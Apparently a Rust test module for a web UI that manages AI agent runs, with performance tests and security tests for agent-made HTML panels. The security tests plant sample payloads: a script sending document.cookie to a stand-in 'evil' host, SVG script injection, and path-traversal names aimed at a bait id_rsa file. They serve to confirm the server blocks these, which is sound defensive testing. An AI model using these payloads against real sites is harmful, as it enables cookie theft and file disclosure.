11072 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11073 Self { home, addr }
11074 }
11075
11076 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11079 let home = TempDir::new().expect("temp home");
11080 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11081 Self { home, addr }
11082 }
11083
11084 async fn serve(
11085 home: &FsPath,
11086 repo: PathBuf,
11087 launch: Launch,
11088 machine: Option<PathBuf>,
11089 ) -> SocketAddr {
11090 let queue = Queue::at(home.join("queue"));
11091 let runs = home.join("runs");
11092 std::fs::create_dir_all(&runs).expect("runs dir");
11093 let worktrees = home.join("wt").join("magi");
11094 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11095 let ui = Ui::new(
11096 queue,
11097 Questions::at(home.join("questions")),
11098 Talks::at(home.join("talks")),
11099 runs,
11100 home.to_path_buf(),
11101 repo,
11102 )
11103 .with_worktrees_root(worktrees)
11104 .with_machine_config(machine)
11105 .with_launch(launch);
11106 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11107 .await
11108 .expect("bind loopback");
11109 let addr = listener.local_addr().expect("local addr");
11110 tokio::spawn(async move {
11111 let router = ui
11112 .router()
11113 .layer(axum::middleware::from_fn(request_cost::observe));
11114 let _ = axum::serve(listener, router).await;
11115 });
11116 addr
11117 }
11118
11119 fn queue(&self) -> Queue {
11120 Queue::at(self.home.path().join("queue"))
11121 }
11122
11123 fn questions(&self) -> Questions {
11124 Questions::at(self.home.path().join("questions"))
11125 }
11126
11127 fn talks(&self) -> Talks {
11128 Talks::at(self.home.path().join("talks"))
11129 }
11130
11131 fn runs(&self) -> PathBuf {
11132 self.home.path().join("runs")
11133 }
11134
11135 async fn get(&self, path: &str) -> Res {
11136 request(self.addr, "GET", path, None).await
11137 }
11138
11139 async fn head(&self, path: &str) -> Res {
11144 request(self.addr, "HEAD", path, None).await
11145 }
11146
11147 async fn post(&self, path: &str, body: Option<&str>) -> Res {
11148 request(self.addr, "POST", path, body).await
11149 }
11150
11151 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11152 request_with(self.addr, "GET", path, None, extra).await
11153 }
11154
11155 async fn delete(&self, path: &str) -> Res {
11156 request(self.addr, "DELETE", path, None).await
11157 }
11158
11159 async fn put(&self, path: &str, body: &str) -> Res {
11160 request(self.addr, "PUT", path, Some(body)).await
11161 }
11162
11163 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11165 request_bytes(self.addr, path, headers, body).await
11166 }
11167 }
11168
11169 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11172 let tmp = TempDir::new().unwrap();
11173 let mut repos = Vec::new();
11174 for name in ["one", "two"] {
11175 let repo = tmp.path().join(name);
11176 let origin = tmp.path().join(format!("{name}.git"));
11177 std::fs::create_dir_all(&repo).unwrap();
11178 crate::git::git(&repo, &["init", "-b", "main"])
11179 .await
11180 .unwrap();
11181 std::fs::write(
11182 repo.join("magi.toml"),
11183 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11184 )
11185 .unwrap();
11186 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11187 crate::git::git(
11188 &repo,
11189 &[
11190 "-c",
11191 "user.name=fixture",
11192 "-c",
11193 "user.email=fixture@example.invalid",
11194 "commit",
11195 "-m",
11196 "fixture",
11197 ],
11198 )
11199 .await
11200 .unwrap();
11201 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11202 .await
11203 .unwrap();
11204 crate::git::git(
11205 &repo,
11206 &["remote", "add", "origin", origin.to_str().unwrap()],
11207 )
11208 .await
11209 .unwrap();
11210 crate::git::git(&repo, &["push", "origin", "main"])
11211 .await
11212 .unwrap();
11213 crate::git::git(
11214 &repo,
11215 &[
11216 "symbolic-ref",
11217 "refs/remotes/origin/HEAD",
11218 "refs/remotes/origin/main",
11219 ],
11220 )
11221 .await
11222 .unwrap();
11223 let (cfg, _) = Config::discover(&repo, None).unwrap();
11224 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11225 repos.push(repo);
11226 }
11227 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11228 (tmp, repos)
11229 }
11230
11231 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11232 let (tmp, repos) = performance_repositories().await;
11233 let machine = tmp.path().join("machine.toml");
11234 std::fs::write(&machine, "").unwrap();
11235 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11236 (tmp, repos, fx)
11237 }
11238
11239 fn seed_performance(
11240 fx: &Fixture,
11241 repos: &[PathBuf; 2],
11242 questions: usize,
11243 runs: usize,
11244 items: usize,
11245 ) {
11246 for i in fx.questions().list().len()..questions {
11248 let mut question = Question::new(
11249 "20261001-000000-0000".into(),
11250 "implement".into(),
11251 "impl-A".into(),
11252 format!("question {i}"),
11253 "context".into(),
11254 vec!["yes".into(), "no".into()],
11255 );
11256 question.id = format!("20261003-000000-{i:04x}");
11257 fx.questions().put(&mut question).unwrap();
11258 }
11259 for i in run_ids(&fx.runs()).len()..runs {
11260 write_run_repo(
11261 &fx.runs(),
11262 &format!("20261001-000000-{i:04x}"),
11263 RunStatus::Ready,
11264 repos[i % 2].to_str().unwrap(),
11265 );
11266 }
11267 for i in fx.talks().list().len()..items {
11268 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11269 let mut talk = fx.talks().get(&id).unwrap();
11270 talk.repo = repos[i % 2].clone();
11271 fx.talks().put(&mut talk).unwrap();
11272 let mut task = crate::queue::Task::new(
11273 format!("task {i}"),
11274 "instruction".into(),
11275 repos[i % 2].clone(),
11276 crate::queue::Source::Agent {
11277 run: id,
11278 node: crate::queue::CHAT_NODE.into(),
11279 },
11280 );
11281 task.id = format!("20261004-000000-{i:04x}");
11282 fx.queue().put(&mut task).unwrap();
11283 if i < crate::notices::CAP {
11285 Notices::at(fx.home.path().join("notifications"))
11286 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11287 .unwrap();
11288 }
11289 }
11290 assert_eq!(fx.questions().list().len(), questions);
11291 assert_eq!(run_ids(&fx.runs()).len(), runs);
11292 assert_eq!(fx.talks().list().len(), items);
11293 assert_eq!(fx.queue().list().len(), items);
11294 assert_eq!(
11295 Notices::at(fx.home.path().join("notifications"))
11296 .list()
11297 .len(),
11298 items.min(crate::notices::CAP)
11299 );
11300 }
11301
11302 fn request_counts(res: &Res) -> (usize, usize) {
11303 assert_eq!(res.status, 200, "{}", res.body);
11304 (
11305 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11306 res.header("x-test-git").unwrap().parse().unwrap(),
11307 )
11308 }
11309
11310 #[tokio::test]
11311 async fn list_request_cost_is_independent_of_record_count() {
11312 let (_tmp, repos, fx) = performance_fixture().await;
11313 let mut previous = None;
11314 for n in [4, 60] {
11315 seed_performance(&fx, &repos, n, n, n);
11316 let mut costs = Vec::new();
11317 for (path, discoveries) in [
11318 ("/api/questions", 1),
11319 ("/api/talks", 0),
11320 ("/api/health", 0),
11321 ("/api/stats", 1),
11322 ] {
11323 for repo in &repos {
11326 let cache = repo.join(".git/magi/config");
11327 if cache.exists() {
11328 std::fs::remove_dir_all(cache).unwrap();
11329 }
11330 }
11331 let cost = request_counts(&fx.get(path).await);
11332 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11333 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11334 assert!(
11335 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11336 "{path}: {cost:?}"
11337 );
11338 costs.push(cost);
11339 }
11340 if let Some(previous) = previous {
11341 assert_eq!(costs, previous);
11342 }
11343 previous = Some(costs);
11344 }
11345 }
11349
11350 #[tokio::test]
11353 async fn list_handler_cost_without_transport() {
11354 let (_tmp, repos) = performance_repositories().await;
11355 let fx = Fixture {
11356 home: TempDir::new().unwrap(),
11357 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11358 };
11359 let ui = Arc::new(
11360 Ui::new(
11361 fx.queue(),
11362 fx.questions(),
11363 fx.talks(),
11364 fx.runs(),
11365 fx.home.path().to_path_buf(),
11366 repos[0].clone(),
11367 )
11368 .with_worktrees_root(fx.home.path().join("wt")),
11369 );
11370 let mut previous = None;
11371 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11372 seed_performance(&fx, &repos, n, runs, items);
11373 let mut costs = Vec::new();
11374 for endpoint in ["questions", "talks", "health", "stats"] {
11375 for repo in &repos {
11376 let cache = repo.join(".git/magi/config");
11377 if cache.exists() {
11378 std::fs::remove_dir_all(cache).unwrap();
11379 }
11380 }
11381 let (_, cost) = request_cost::measure(async {
11382 match endpoint {
11383 "questions" => {
11384 let _ = questions_list(State(ui.clone())).await.unwrap();
11385 }
11386 "talks" => {
11387 let _ = talks_list(
11388 State(ui.clone()),
11389 Query(ListQuery {
11390 limit: None,
11391 ids: None,
11392 }),
11393 header::HeaderMap::new(),
11394 )
11395 .await
11396 .unwrap();
11397 }
11398 "health" => {
11399 let _ = health(State(ui.clone())).await.unwrap();
11400 }
11401 _ => {
11402 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11403 .await
11404 .unwrap();
11405 }
11406 }
11407 })
11408 .await;
11409 eprintln!("{endpoint} handler N={n}: {cost:?}");
11410 assert_eq!(
11411 cost.0,
11412 if matches!(endpoint, "talks" | "health") {
11413 0
11414 } else {
11415 1
11416 },
11417 "{endpoint}"
11418 );
11419 assert!(
11420 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11421 "{endpoint}: {cost:?}"
11422 );
11423 costs.push(cost);
11424 }
11425 if let Some(previous) = previous {
11426 assert_eq!(costs, previous);
11427 }
11428 previous = Some(costs);
11429 }
11430 }
11431
11432 #[tokio::test]
11433 async fn list_request_cost_scopes_do_not_mix() {
11434 let (_tmp, repos, fx) = performance_fixture().await;
11435 seed_performance(&fx, &repos, 10, 0, 10);
11436 let (questions, talks, notices) = tokio::join!(
11437 fx.get("/api/questions"),
11438 fx.get("/api/talks"),
11439 fx.get("/api/notifications")
11440 );
11441 assert_eq!(request_counts(&questions).0, 1);
11442 assert_eq!(request_counts(&talks), (0, 0));
11445 assert_eq!(request_counts(¬ices), (0, 0));
11446 }
11447
11448 #[tokio::test]
11449 async fn list_endpoints_large_home_responses() {
11450 check_large_home_endpoints(false).await;
11451 }
11452
11453 #[tokio::test]
11454 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11455 async fn list_endpoints_large_home_ceiling() {
11456 check_large_home_endpoints(true).await;
11457 }
11458
11459 async fn check_large_home_endpoints(timed: bool) {
11460 let (_tmp, repos, fx) = performance_fixture().await;
11461 seed_performance(&fx, &repos, 200, 300, 400);
11462 let mut failures = Vec::new();
11463 for path in [
11466 "/",
11467 "/app.js",
11468 "/app.css",
11469 "/api/questions",
11470 "/api/runs?limit=300",
11471 "/api/queue",
11472 "/api/talks",
11473 "/api/notifications",
11474 "/api/health",
11475 "/api/stats",
11476 "/api/loop",
11477 "/api/settings",
11478 "/api/repos",
11479 ] {
11480 let start = std::time::Instant::now();
11481 let result = if timed {
11482 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11483 } else {
11484 Ok(fx.get(path).await)
11485 };
11486 let elapsed = start.elapsed();
11487 eprintln!("{path}: {elapsed:?}");
11488 match result {
11489 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11490 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11491 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11492 }
11493 }
11494 assert!(failures.is_empty(), "{}", failures.join("\n"));
11495 }
11496
11497 struct Res {
11498 status: u16,
11499 headers: String,
11500 head: String,
11505 body: String,
11506 bytes: Vec<u8>,
11510 }
11511
11512 impl Res {
11513 fn json(&self) -> Value {
11514 serde_json::from_str(&self.body)
11515 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11516 }
11517
11518 fn header(&self, name: &str) -> Option<&str> {
11520 self.head.lines().find_map(|line| {
11521 let (key, value) = line.split_once(':')?;
11522 key.trim()
11523 .eq_ignore_ascii_case(name)
11524 .then(|| value.trim_start().trim_end_matches('\r'))
11525 })
11526 }
11527 }
11528
11529 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11532 request_with(addr, method, path, body, &[]).await
11533 }
11534
11535 async fn request_with(
11539 addr: SocketAddr,
11540 method: &str,
11541 path: &str,
11542 body: Option<&str>,
11543 extra: &[(&str, &str)],
11544 ) -> Res {
11545 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11546 for (name, value) in extra {
11547 head.push_str(&format!("{name}: {value}\r\n"));
11548 }
11549 if let Some(body) = body {
11550 head.push_str("Content-Type: application/json\r\n");
11551 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11552 }
11553 head.push_str("\r\n");
11554 if let Some(body) = body {
11555 head.push_str(body);
11556 }
11557 let mut socket = tokio::net::TcpStream::connect(addr)
11558 .await
11559 .expect("connect to the test server");
11560 socket
11561 .write_all(head.as_bytes())
11562 .await
11563 .expect("write request");
11564 let mut raw = Vec::new();
11565 socket.read_to_end(&mut raw).await.expect("read response");
11566 let split = raw
11569 .windows(4)
11570 .position(|w| w == b"\r\n\r\n")
11571 .expect("a header block");
11572 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11573 let bytes = raw[split + 4..].to_vec();
11574 let status = head
11575 .lines()
11576 .next()
11577 .and_then(|line| line.split_whitespace().nth(1))
11578 .and_then(|code| code.parse().ok())
11579 .expect("a status line");
11580 Res {
11581 status,
11582 headers: head.to_lowercase(),
11583 head,
11584 body: String::from_utf8_lossy(&bytes).into_owned(),
11585 bytes,
11586 }
11587 }
11588
11589 async fn request_bytes(
11595 addr: SocketAddr,
11596 path: &str,
11597 headers: &[(&str, &str)],
11598 body: &[u8],
11599 ) -> Res {
11600 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11601 for (name, value) in headers {
11602 head.push_str(&format!("{name}: {value}\r\n"));
11603 }
11604 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11605 let mut socket = tokio::net::TcpStream::connect(addr)
11606 .await
11607 .expect("connect to the test server");
11608 socket
11609 .write_all(head.as_bytes())
11610 .await
11611 .expect("write request head");
11612 socket.write_all(body).await.expect("write request body");
11613 let mut raw = Vec::new();
11614 socket.read_to_end(&mut raw).await.expect("read response");
11615 let split = raw
11616 .windows(4)
11617 .position(|w| w == b"\r\n\r\n")
11618 .expect("a header block");
11619 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11620 let bytes = raw[split + 4..].to_vec();
11621 let status = head
11622 .lines()
11623 .next()
11624 .and_then(|line| line.split_whitespace().nth(1))
11625 .and_then(|code| code.parse().ok())
11626 .expect("a status line");
11627 Res {
11628 status,
11629 headers: head.to_lowercase(),
11630 head,
11631 body: String::from_utf8_lossy(&bytes).into_owned(),
11632 bytes,
11633 }
11634 }
11635
11636 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11638 let mut state = RunState::new(
11639 PathBuf::from("/repo/magi"),
11640 "main".to_owned(),
11641 "0123456789abcdef".to_owned(),
11642 "Add a web UI\n\nMobile first.".to_owned(),
11643 Config::default(),
11644 );
11645 state.id = id.to_owned();
11646 state.status = status;
11647 let dir = runs.join(id);
11648 std::fs::create_dir_all(&dir).expect("run dir");
11649 std::fs::write(
11650 dir.join("run.json"),
11651 serde_json::to_string_pretty(&state).expect("serialize run"),
11652 )
11653 .expect("write run.json");
11654 }
11655
11656 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11660 let mut state = RunState::new(
11661 PathBuf::from(repo),
11662 "main".to_owned(),
11663 "0123456789abcdef".to_owned(),
11664 "task".to_owned(),
11665 Config::default(),
11666 );
11667 state.id = id.to_owned();
11668 state.status = status;
11669 let dir = runs.join(id);
11670 std::fs::create_dir_all(&dir).expect("run dir");
11671 std::fs::write(
11672 dir.join("run.json"),
11673 serde_json::to_string_pretty(&state).expect("serialize run"),
11674 )
11675 .expect("write run.json");
11676 }
11677
11678 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11679 let body = serde_json::json!({
11680 "schema": 1,
11681 "pid": 4242,
11682 "started_at": Timestamp::now().to_string(),
11683 "updated_at": updated_at.to_string(),
11684 "idle": false,
11685 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11686 "completed": 7,
11687 "polls": 143,
11688 });
11689 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11690 }
11691
11692 fn launch_idle(
11702 _opts: daemon::Opts,
11703 stop: daemon::Stop,
11704 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11705 Box::pin(async move {
11706 while !stop.stopped() {
11707 tokio::time::sleep(Duration::from_millis(2)).await;
11708 }
11709 Ok(())
11710 })
11711 }
11712
11713 fn launch_broken(
11716 _opts: daemon::Opts,
11717 _stop: daemon::Stop,
11718 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11719 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11724 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11725 Box::pin(async move {
11726 Err(anyhow::anyhow!(if first {
11727 "publish the daemon status file: read-only file system"
11728 } else {
11729 "the restarted stand-in failed as well"
11730 }))
11731 })
11732 }
11733
11734 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11743 for _ in 0..SETTLE_STEPS {
11744 let view = fx.get("/api/loop").await.json();
11745 if want(&view) {
11746 return view;
11747 }
11748 tokio::time::sleep(Duration::from_millis(10)).await;
11749 }
11750 panic!(
11751 "the loop never settled: {}",
11752 fx.get("/api/loop").await.json()
11753 );
11754 }
11755
11756 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11758 let store = fx.questions();
11759 let mut q = Question::new(
11760 "20260902-000000-beef".to_owned(),
11761 "implement".to_owned(),
11762 "impl-A".to_owned(),
11763 summary.to_owned(),
11764 "because it matters".to_owned(),
11765 choices.iter().map(|c| (*c).to_owned()).collect(),
11766 );
11767 store.put(&mut q).expect("put question");
11768 q.id
11769 }
11770
11771 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11777 let store = fx.questions();
11778 let mut q = Question::new(
11779 "20260902-000000-beef".to_owned(),
11780 "land".to_owned(),
11781 "fix".to_owned(),
11782 "Merge this?".to_owned(),
11783 "the diff is in the panel".to_owned(),
11784 vec!["merge".to_owned(), "hold".to_owned()],
11785 );
11786 let staging = fx.home.path().join("staging");
11789 std::fs::create_dir_all(&staging).expect("staging dir");
11790 let sources: Vec<PathBuf> = assets
11791 .iter()
11792 .map(|(name, bytes)| {
11793 let path = staging.join(name);
11794 std::fs::write(&path, bytes).expect("write staged asset");
11795 path
11796 })
11797 .collect();
11798 store
11799 .put_panel(&mut q, html, &sources)
11800 .expect("write the panel");
11801 store.put(&mut q).expect("put question");
11802 q.id
11803 }
11804
11805 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11814 seed_talk_at(&fx.talks(), id, status)
11815 }
11816
11817 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11818 std::fs::create_dir_all(store.root()).expect("talks dir");
11819 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11820 .expect("serialize a seat");
11821 let body = serde_json::json!({
11822 "schema": 1,
11823 "id": id,
11824 "repo": "/repo/magi",
11825 "agent": "mock",
11826 "status": status,
11827 "turns": [],
11828 "created_at": Timestamp::now().to_string(),
11829 "updated_at": Timestamp::now().to_string(),
11830 "seat": seat,
11831 });
11832 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11833 store.get(id).expect("the seeded talk has to be readable");
11834 id.to_owned()
11835 }
11836
11837 #[tokio::test]
11838 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11839 let fx = Fixture::start().await;
11840 let id = panel(
11841 &fx,
11842 "<h1>Merge?</h1><img src=\"diff.svg\">",
11843 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11844 );
11845
11846 for path in [
11847 format!("/api/questions/{id}/panel"),
11848 format!("/api/questions/{id}/asset/diff.svg"),
11849 ] {
11850 let res = fx.get(&path).await;
11851 assert_eq!(res.status, 200, "{path}: {}", res.body);
11852 assert_eq!(
11858 res.header("content-security-policy"),
11859 Some(
11860 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11861 font-src data:; base-uri 'none'; form-action 'none'; \
11862 frame-ancestors 'self'"
11863 ),
11864 "{path} is the only thing between a hostile panel and the tailnet"
11865 );
11866 assert_eq!(
11867 res.header("x-content-type-options"),
11868 Some("nosniff"),
11869 "{path}: a browser must not re-decide the type we sent"
11870 );
11871 assert_eq!(
11872 res.header("referrer-policy"),
11873 Some("no-referrer"),
11874 "{path}: a panel must not leak the question id off the machine"
11875 );
11876
11877 let pre = fx.head(&path).await;
11882 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11883 assert_eq!(
11884 pre.header("content-security-policy"),
11885 res.header("content-security-policy"),
11886 "{path}: the preflight carries the same policy"
11887 );
11888 assert_eq!(
11889 pre.header("content-type"),
11890 res.header("content-type"),
11891 "{path}: the preflight carries the same type"
11892 );
11893 }
11894 }
11895
11896 #[tokio::test]
11897 async fn a_panel_reaches_the_browser_byte_for_byte() {
11898 let fx = Fixture::start().await;
11899 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11904 let id = panel(&fx, html, &[]);
11905
11906 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11907
11908 assert_eq!(res.status, 200);
11909 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11910 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11911 assert_eq!(
11912 res.header("content-disposition"),
11913 None,
11914 "the panel itself is rendered in the frame, not downloaded"
11915 );
11916 }
11917
11918 #[tokio::test]
11919 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11920 let fx = Fixture::start().await;
11921 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11922 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11923 let id = panel(
11924 &fx,
11925 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11926 &[("diff.svg", svg), ("shot.png", png)],
11927 );
11928
11929 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11930 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11931
11932 assert_eq!(as_svg.status, 200);
11933 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11934 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11939
11940 assert_eq!(as_png.status, 200);
11941 assert_eq!(as_png.header("content-type"), Some("image/png"));
11942 assert_eq!(
11943 as_png.header("content-disposition"),
11944 None,
11945 "a raster image has no execution surface, so tapping it still shows it"
11946 );
11947 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11948 }
11949
11950 #[tokio::test]
11951 async fn an_html_asset_is_never_served_as_html() {
11952 let fx = Fixture::start().await;
11953 let id = panel(
11954 &fx,
11955 "<p>see the notes</p>",
11956 &[
11957 (
11958 "notes.html",
11959 b"<script>fetch('http://evil/'+document.cookie)</script>",
11960 ),
11961 ("hook.js", b"fetch('http://evil/')"),
11962 ("data.json", b"{}"),
11963 ("HEADLINE.TXT", b"plain"),
11964 ],
11965 );
11966
11967 for name in ["notes.html", "hook.js", "data.json"] {
11968 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11969 assert_eq!(res.status, 200, "{name}: {}", res.body);
11970 assert_eq!(
11975 res.header("content-type"),
11976 Some("application/octet-stream"),
11977 "{name} must not be a type the browser will execute or render"
11978 );
11979 }
11980 let txt = fx
11983 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11984 .await;
11985 assert_eq!(
11986 txt.header("content-type"),
11987 Some("text/plain; charset=utf-8")
11988 );
11989 }
11990
11991 #[tokio::test]
11992 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11993 let fx = Fixture::start().await;
11994 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11995 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11999
12000 for encoded in [
12007 "%2e%2e%2fid_rsa",
12008 "..%2fid_rsa",
12009 "..%5cid_rsa",
12010 "%2e%2e%5cid_rsa",
12011 "diff%00.svg",
12012 "..",
12013 ".hidden",
12014 "%2e%2e%2f%2e%2e%2fid_rsa",
12015 ] {
12016 let res = fx
12017 .get(&format!("/api/questions/{id}/asset/{encoded}"))
12018 .await;
12019 assert_eq!(
12020 res.status, 400,
12021 "`{encoded}` has to be refused by name, not looked up: {}",
12022 res.body
12023 );
12024 assert!(res.json()["error"].is_string(), "{}", res.body);
12025 }
12026
12027 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12033 let res = fx
12034 .get(&format!("/api/questions/{id}/asset/{literal}"))
12035 .await;
12036 assert_eq!(
12037 res.status, 404,
12038 "`{literal}` must not match the asset route at all: {}",
12039 res.body
12040 );
12041 }
12042 }
12043
12044 #[tokio::test]
12045 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12046 let fx = Fixture::start().await;
12047 let plain = ask(&fx, "Which backend?", &["SQLite"]);
12048 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12049
12050 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12054 assert_eq!(none.status, 404, "{}", none.body);
12055 assert!(none.json()["error"].is_string(), "{}", none.body);
12056 assert_eq!(
12057 fx.head(&format!("/api/questions/{plain}/panel"))
12058 .await
12059 .status,
12060 404,
12061 "the preflight is the only way the client can learn this"
12062 );
12063
12064 let missing = fx
12066 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12067 .await;
12068 assert_eq!(missing.status, 404, "{}", missing.body);
12069 assert!(missing.json()["error"].is_string(), "{}", missing.body);
12070
12071 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12073 assert_eq!(
12074 fx.get("/api/questions/nope/asset/diff.svg").await.status,
12075 404
12076 );
12077 }
12078
12079 #[tokio::test]
12080 async fn a_run_with_an_open_question_reads_as_waiting() {
12081 let fx = Fixture::start().await;
12082 let run = "20260902-000000-beef".to_owned();
12083 write_run(&fx.runs(), &run, RunStatus::Implementing);
12084
12085 let before = fx.get("/api/runs").await.json();
12086 assert_eq!(before[0]["waiting"], false, "{before}");
12087
12088 let store = fx.questions();
12089 let mut q = Question::new(
12090 run.clone(),
12091 "implement".to_owned(),
12092 "impl-A".to_owned(),
12093 "Which backend?".to_owned(),
12094 String::new(),
12095 vec!["SQLite".to_owned()],
12096 );
12097 store.put(&mut q).expect("put");
12098
12099 let during = fx.get("/api/runs").await.json();
12100 assert_eq!(during[0]["waiting"], true, "{during}");
12101
12102 q.answer(Answer::Choice("SQLite".to_owned()))
12105 .expect("answer");
12106 store.put(&mut q).expect("put");
12107 let after = fx.get("/api/runs").await.json();
12108 assert_eq!(after[0]["waiting"], false, "{after}");
12109 }
12110
12111 #[tokio::test]
12112 async fn an_open_question_is_listed_and_counted_by_health() {
12113 let fx = Fixture::start().await;
12114 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12115
12116 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12117 let listed = fx.get("/api/questions").await.json();
12118 assert_eq!(listed.as_array().expect("array").len(), 1);
12119 assert_eq!(listed[0]["id"], id);
12120 assert_eq!(listed[0]["status"], "open");
12121 assert_eq!(listed[0]["choices"][1], "Redis");
12122 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12125 }
12126
12127 fn obsolete_approval_state() -> RunState {
12128 let mut state = crate::land::tests::repair_state(true, true);
12129 state.pr = Some(crate::run::PrRecord {
12130 url: "https://github.com/example/repo/pull/42".into(),
12131 number: 42,
12132 state: "open".into(),
12133 checks: "green".into(),
12134 round: 1,
12135 rounds: 4,
12136 red_at_merge: Vec::new(),
12137 });
12138 state
12139 }
12140
12141 #[tokio::test]
12142 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12143 for owner in ["missing", "current", "completed", "later"] {
12144 let fx = Fixture {
12145 home: TempDir::new().unwrap(),
12146 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12147 };
12148 let mut state = obsolete_approval_state();
12149 state.status = RunStatus::Landing;
12150 state.parked = true;
12151 state.driver_exited = true;
12152 let mut q = Question::new(
12153 state.id.clone(),
12154 crate::land::APPROVAL_NODE.into(),
12155 "land".into(),
12156 "Old approval".into(),
12157 "Original evidence".into(),
12158 vec!["merge".into(), "hold".into()],
12159 );
12160 state.land_approval = Some(crate::run::LandApproval {
12161 question: q.id.clone(),
12162 head: "head".into(),
12163 });
12164 state.save_under(fx.home.path()).unwrap();
12165 let stale = state.clone();
12166 fx.questions().put(&mut q).unwrap();
12167 let mut task = Task::new(
12168 "Owner".into(),
12169 "Original instruction".into(),
12170 state.repo.clone(),
12171 Source::Human,
12172 );
12173 task.runs.push(state.id.clone());
12174 task.status = if owner == "completed" {
12175 TaskStatus::Done
12176 } else {
12177 TaskStatus::Parked
12178 };
